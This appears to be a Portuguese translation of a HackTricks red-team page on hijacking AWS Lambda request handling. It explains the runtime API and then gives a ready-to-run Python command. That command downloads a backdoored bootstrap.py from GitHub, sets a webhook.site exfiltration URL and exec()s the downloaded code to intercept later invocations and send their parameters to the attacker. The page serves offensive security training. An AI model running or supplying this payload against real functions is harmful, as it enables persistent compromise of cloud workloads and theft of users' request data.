AWS - Steal Lambda Requests

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Fluxo Lambda

  1. Slicer é um processo fora do contêiner que envia invocações para o processo init.

  2. O processo init escuta na porta 9001 expondo alguns endpoints interessantes:

  • /2018-06-01/runtime/invocation/next – obter o próximo evento de invocação

  • /2018-06-01/runtime/invocation/{invoke-id}/response – retornar a resposta do manipulador para a invocação

  • /2018-06-01/runtime/invocation/{invoke-id}/error – retornar um erro de execução

  1. bootstrap.py tem um loop recebendo invocações do processo init e chama o código dos usuários para lidar com eles (/next).

  2. Finalmente, bootstrap.py envia para o init a resposta

Observe que o bootstrap carrega o código do usuário como um módulo, então qualquer execução de código realizada pelo código dos usuários está realmente acontecendo neste processo.

Roubar Solicitações Lambda

O objetivo deste ataque é fazer com que o código dos usuários execute um processo malicioso bootstrap.py dentro do processo bootstrap.py que manipula a solicitação vulnerável. Dessa forma, o processo bootstrap malicioso começará a conversar com o processo init para lidar com as solicitações enquanto o bootstrap legítimo está preso executando o malicioso, então ele não solicitará mais solicitações ao processo init.

Isso é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo bootstrap.py legítimo. Portanto, o atacante poderia:

  • Enviar um resultado falso da invocação atual para o processo init, para que o init pense que o processo bootstrap está esperando mais invocações.

  • Uma solicitação deve ser enviada para /${invoke-id}/response

  • O invoke-id pode ser obtido a partir da pilha do bootstrap.py legítimo usando o módulo python inspect (como proposto aqui) ou apenas solicitando-o novamente para /2018-06-01/runtime/invocation/next (como proposto aqui).

  • Executar um boostrap.py malicioso que lidará com as próximas invocações

  • Para fins de furtividade, é possível enviar os parâmetros de invocações lambda para um C2 controlado pelo atacante e depois lidar com as solicitações como de costume.

  • Para este ataque, é suficiente obter o código original do bootstrap.py do sistema ou do github, adicionar o código malicioso e executá-lo a partir da invocação lambda atual.

Etapas do Ataque

  1. Encontrar uma vulnerabilidade de RCE.

  2. Executar o bootstrap malicioso.

Você pode facilmente realizar essas ações executando:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Para mais informações, consulte https://github.com/carlospolop/lambda_bootstrap_switcher

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización